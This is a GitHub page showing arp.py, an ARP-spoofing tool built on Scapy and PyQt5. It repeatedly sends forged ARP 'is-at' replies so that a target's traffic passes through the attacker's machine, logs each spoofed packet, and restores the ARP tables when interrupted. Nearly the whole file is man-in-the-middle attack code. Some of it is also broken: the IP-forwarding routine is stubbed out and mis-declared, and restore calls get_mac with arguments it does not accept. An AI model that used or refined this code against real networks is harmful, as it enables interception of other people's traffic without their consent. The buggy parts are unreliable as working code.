-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy patharp.py
95 lines (73 loc) · 2.49 KB
/
arp.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
from scapy.all import Ether, ARP, srp, send
import time
import os
from PyQt5.QtCore import QCoreApplication, QObject, QRunnable, pyqtSignal, QThread
from PyQt5.QtWidgets import *
from PyQt5.QtTest import *
class PrepareARP():
finished = pyqtSignal()
def __init__(self):
super().__init__()
def prepare(self):
for i in range(5):
print(i)
def send(self, target, host):
arp = SendARP(target, host)
arp.exec()
class SendARP(QThread):
prompt = pyqtSignal(str)
def __init__(self, target, host):
super().__init__()
self.target = target
self.host = host
self.verbose = True
def run(self):
self.exec()
def exec(self):
self.enable_ip_route()
try:
while True:
self.spoof()
self.spoof()
time.sleep(1)
#QTest.qWait(5000)
except KeyboardInterrupt:
print("[!] Detected CTRL+C ! restoring the network, please wait...")
self.restore()
self.restore()
def _enable_mac_iproute():
# sysctl -w net.inet.ip.forwarding=1
pass
def enable_ip_route(verbose=True):
if verbose:
print("[!] Enabling IP Routing...")
if ("nt" in os.name):
pass
elif ("posix" in os.name):
pass
else:
self._enable_linux_iproute()
if verbose:
print("[!] IP Routing enabled.")
def get_mac(self):
ans, _ = srp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=self.target), timeout=3, verbose=0)
if ans:
return ans[0][1].src
def spoof(self):
target_mac = self.get_mac()
arp_response = ARP(pdst=self.target, hwdst=target_mac, psrc=self.host, op='is-at')
send(arp_response, verbose=0)
if self.verbose:
self_mac = ARP().hwsrc
message = "[+] Sent to {} : {} is-at {}".format(self.target, self.host, self_mac)
self.prompt.emit(message)
print(message)
def restore(self):
target_mac = self.get_mac(self.target)
host_mac = self.get_mac(self.host)
arp_response = ARP(pdst=self.target, hwdst=target_mac, psrc=self.host, hwsrc=host_mac, op="is-at")
send(arp_response, verbose=0, count=7)
if self.verbose:
message = "[+] Sent to {} : {} is-at {}".format(self.target, self.host, host_mac)
self.prompt.emit(message)
print(message)